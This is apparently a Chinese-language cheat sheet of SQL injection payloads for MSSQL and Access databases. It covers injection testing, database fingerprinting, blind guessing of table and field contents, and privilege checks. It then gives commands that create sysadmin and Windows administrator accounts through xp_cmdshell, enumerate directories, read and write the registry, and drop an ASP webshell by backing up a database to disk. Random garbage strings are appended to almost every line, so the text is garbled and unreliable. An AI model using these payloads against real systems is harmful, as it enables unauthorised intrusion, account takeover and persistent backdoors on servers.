1.判断是否有注入;and 1=1 ;and 1=2 Tje(hnN
2.初步判断是否是mssql ;and user>0 Iz[ohn!f
wYr*('uT
3.注入参数是字符'and [查询条件] and ''=' cn Ohj
pI_dV44W
4.搜索时没过滤参数的'and [查询条件] and '%25'=' < 0YoZSNGj
>p'{!k
5.判断数据库系统 pp{2[>
]GO=8$Z
;and (select count(*) from sysobjects)>0 mssql g^^pPVK_
md,KRE
;and (select count(*) from msysobjects)>0 access `FEa(Q+s
J;=T"C&
%DA&txX}w
`?O0)
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]6F\a= J
Au6Y]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 }'*6 A
MT7B'hd
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ch\__t*v!
C T\@>!'f
9.(1)猜字段的ascii值(access) Q'qX`K+@`
+H28 F_#
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Z/dhp0k
<uxLG;R
(2)猜字段的ascii值(mssql) }8POm#
lB0`|UEb (
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 $
nHD,h
]jYFrOMy4S
10.测试权限结构(mssql) Le:(;:eL>t
b]fx
Ij$C@hH
#=VYq4B=
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !=A;?Kdq
&
+*OV:[;
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0|J_'-<
*yaS^k\
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <N1wET-
Xjkg7p,HD@
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &w#!
bMGn&6QiP[
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- fCwE1r*^
R(`:~@3\6
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- jj1\oyQ8
Z &Ciy n
;and 1=(select IS_MEMBER('db_owner'));-- I# &r5Q
:nQlS
==& y9e
IHYLM;@L
11.添加mssql和系统的帐户 ](A2,F
9(U
wWy;dma#
;exec master.dbo.sp_addlogin username;-- i=cST8!8N
;exec master.dbo.sp_password null,username,password;-- e=WjFnK[x7
XTo7fbW*
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ~/]]H;;^u
=29IHL3
;exec master.dbo.xp_cmdshell 'net user username password 8 {V9)U
lI 4tW=
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- C/IF~<B
)63
$,y-;$
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3o%vV*
4P&2Z0
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- jYFJk&c
MQQm3VaKS
l6ym <V(1p
ujZ`T0
12.(1)遍历目录 +cfEyiub
qcS.=Cj?)
;create table dirs(paths varchar(100), id int) } #rTUX
gvA}s/
;insert dirs exec master.dbo.xp_dirtree 'c:\' (4T0U5jgT
}/F$73Xd
;and (select top 1 paths from dirs)>0 n^Ca?|}
,
}l|S]m!
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ^_;'9YD
_x!idf
P.'.KZJ:WD
>u?.gJm ~
(2)遍历目录 #i[:oC6m:
m&:&z7^p
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Aqmpo3P[+
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 v;x0=I&%
HIXAA?_eh=
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 \8 `7E1d
<+_XGOt0<
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6ZqU:^3
|O{N_-];.
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 eV[{c %wN:
jE\G_>
m,k0 h%
ipu!{kJ
13.mssql中的存储过程 42NfD/"g+s
CS7b3p!I
xp_regenumvalues 注册表根键, 子键 'J,UKK\5
r#sg5aS7O|
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 qGk.7wf%
@dWA1tM
xp_regread 根键,子键,键值名 :_8K8Sa
y, l[v39
;exec xp_regread >Xn,jMUW
sL$sj|" S
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 74Jx \(d
7=P)` @
xp_regwrite 根键,子键, 值名, 值类型, 值 Dvg'
N]P~`)
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [V'c
JtFq/&{i
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7{#p'.nc5
j1_>>xB
xp_regdeletevalue 根键,子键,值名 +^AdD8U
/TMVPnvz.
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ]46h!@~aC
V IzIl\<aM
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T"g_a|7Tj
mB`HPT
EXSH{P O+
:` SIuu~@
14.mssql的backup创建webshell =[n !3M+X
h4n~V:nNm
use model C. .| O
<aPZE6z
create table cmd(str image); =v3o)lU
#VhdYDbW
insert into cmd(str) values (''); [Q T ;~5
[r2V+b.C
backup database model to disk='c:\l.asp'; ! Vl)aL
|;J`~H"K
gbdzS6XW~
KcT(/!
15.mssql内置函数 PS~_a
%RW*gUvc]
;and (select @@version)>0 获得Windows的版本号 MgiW9@_(
|21VOPBS
;and user_name()='dbo' 判断当前系统的连接用户是不是sa X}GX6qAdt
zeGWM,!
;and (select user_name())>0 爆当前系统的连接用户 xjp0w7L)J
Ifp8oL? S;
;and (select db_name())>0 得到当前连接的数据库 B/16EuH#
13@emb
d\-*Fmp(S
j~bNH~3
16.简洁的webshell rX^uHq8
W
/v
&V#
use model /sYr?b!/<6
HMD\)vMK6
create table cmd(str image); yFm88
zSA"f_e
insert into cmd(str) values (''); eS Z':p
,OrrGwp&
backup database model to disk='g:\wwwtest\l.asp';